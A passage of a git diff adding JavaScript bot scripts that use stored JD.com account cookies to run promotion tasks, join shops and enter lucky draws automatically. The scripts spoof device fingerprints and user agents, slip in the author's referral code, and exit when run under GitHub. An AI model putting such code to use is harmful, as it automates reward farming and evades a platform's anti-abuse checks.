await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.UA, + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.UA, + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.UA, + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.UA, + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +async function getUA(){ + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz.js b/jd_lzdz.js new file mode 100644 index 0000000..c2c563c --- /dev/null +++ b/jd_lzdz.js @@ -0,0 +1,489 @@ +/* +品类联合 +7 7 7 7 7 jd_lzdz.js +*/ +const $ = new Env("品类联合"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + $.getAuthorCodeListerr = false + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/Code/raw/master/lzdz1.json') + // if($.getAuthorCodeListerr === false){ + // authorCodeList = [ + // '980f55cfc5494ff895ddf9a3b2d3ff3b', + // ] + // } + // console.log(authorCodeList) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + authorCodeList = [ + '509fc6a2beea4dc394dd8e09fc91153e', + // '30e1856f1454413cb40ca0bf0fc184e1', + ] + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'e6dbf2c13af04372ae844575f07b6f7a' + $.activityShopId = '688693' + $.activityUrl = `https://lzdz-isv.isvjcloud.com/categoryUnion/activity/${$.authorNum}?activityId=${$.activityId}&tplId=0003&friendid=${encodeURIComponent($.authorCode)}&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=&sid=&un_area=` + await member(); + await $.wait(5000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + // await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + await task('categoryUnion/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&shareUuid=${encodeURIComponent($.authorCode)}`, 1) + await task('categoryUnion/initOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`,1) + await $.wait(2000) + $.log("加入店铺会员") + if ($.openCardList) { + for (const vo of $.openCardList) { + // console.log(vo) + $.log("关注店铺") + if (vo.followShopStatus === false) { + await task('wxActionCommon/followShop', `userId=${vo.venderId}&activityId=${$.activityId}&buyerNick=${encodeURIComponent($.secretPin)}&activityType=99`,1) + } + $.log(`>>> 去加入 ${vo.venderId}`) + if (vo.openStatus === false) { + await getShopOpenCardInfo({ venderId: `${vo.venderId}`, channel: "401" }, vo.venderId); + await bindWithVender({ venderId: `${vo.venderId}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: $.openCardActivityId, channel: 401 }, vo.venderId); + await $.wait(1000) + + } else { + $.log(`>>> 已经是会员`) + } + await $.wait(2000) + // await task('categoryUnion/shopHotZone', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&type=1`,1) + } + } else { + $.log("没有获取到对应的任务。\n") + } + await task('categoryUnion/initOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`,1) + $.log("抽奖") + // console.log($.score) + // for (let index = 0; index < $.score; index++) { + // await getFirstLZCK() + // await $.wait(1000) + // await getToken(); + // await $.wait(1000) + // await getMyPing(); + // await $.wait(1000) + // await task('categoryUnion/luckyDraw', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}`,1) + // } + await task('categoryUnion/luckyDraw', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}`,1) + + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + console.log(data) + // $.jdActivityId = data.data.jdActivityId; + // $.venderId = data.data.venderId; + // $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + console.log(data) + break; + case 'categoryUnion/activityContent': + // console.log(data) + $.log(`开启【${data.data.activityName}】活动`) + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.score = data.score + $.actorUuid = data.data.actorUuid; + break; + case 'categoryUnion/initOpenCard': + $.openCardList = data.data.openInfo; + // console.log(data) + break; + case 'wxActionCommon/followShop': + console.log(data) + break; + case 'categoryUnion/shopHotZone': + console.log(data) + break; + case 'opencard/addCart': + if (data.data) { + console.log(data.data) + } + break; + case 'categoryUnion/luckyDraw': + console.log(data) + break; + case 'interaction/write/writePersonInfo': + console.log(data) + break; + case 'opencard/draw': + console.log(data) + break; + case 'linkgame/assist/status': + $.log(JSON.stringify(data)) + break; + case 'linkgame/assist': + $.log(JSON.stringify(data)) + break; + case 'linkgame/help/list': + $.log(JSON.stringify(data)) + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getAuthorCodeListerr = false + } else { + if (data) data = JSON.parse(data) + $.getAuthorCodeListerr = true + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz-isv.isvjcloud.com/${function_id}` : `https://lzdz-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl ,headers:{"user-agent":$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + $.cookie = cookie + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +var 